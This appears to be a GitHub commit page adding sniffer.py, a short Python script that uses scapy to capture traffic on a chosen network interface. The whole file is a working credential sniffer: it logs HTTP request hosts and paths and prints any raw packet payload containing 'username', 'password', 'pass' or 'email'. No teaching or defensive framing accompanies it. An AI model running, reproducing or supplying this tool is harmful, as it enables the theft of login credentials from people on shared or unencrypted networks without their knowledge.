Skip to content

Commit 462459f

Browse files
authored
Create sniffer.py
1 parent 814f782 commit 462459f

File tree

1 file changed

+35
-0
lines changed

1 file changed

+35
-0
lines changed

sniffer.py

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
import argparse
2+
from scapy.all import sniff, Raw
3+
from scapy.layers import http
4+
5+
6+
def get_interface() -> str:
7+
parser = argparse.ArgumentParser()
8+
parser.add_argument("-i", "--interface", dest="interface",
9+
help="Specify interface on which to sniff packets")
10+
args = parser.parse_args()
11+
if not args.interface:
12+
parser.error("Please specify an interface to sniff packets.")
13+
return args.interface
14+
15+
16+
def process_packet(packet) -> None:
17+
if packet.haslayer(http.HTTPRequest):
18+
print(
19+
f"[+] Http Request >> {packet[http.HTTPRequest].Host}{packet[http.HTTPRequest].Path}")
20+
if packet.haslayer(Raw):
21+
load = packet[Raw].load.decode(errors="ignore")
22+
keys = ["username", "password", "pass", "email"]
23+
for key in keys:
24+
if key in load:
25+
print(f"\n\n\n[+] Possible {key} >> {load}\n\n\n")
26+
break
27+
28+
29+
def sniff_packets(interface: str) -> None:
30+
sniff(iface=interface, store=False, prn=process_packet)
31+
32+
33+
if __name__ == '__main__':
34+
iface = get_interface()
35+
sniff_packets(iface)

0 commit comments

Comments
 (0)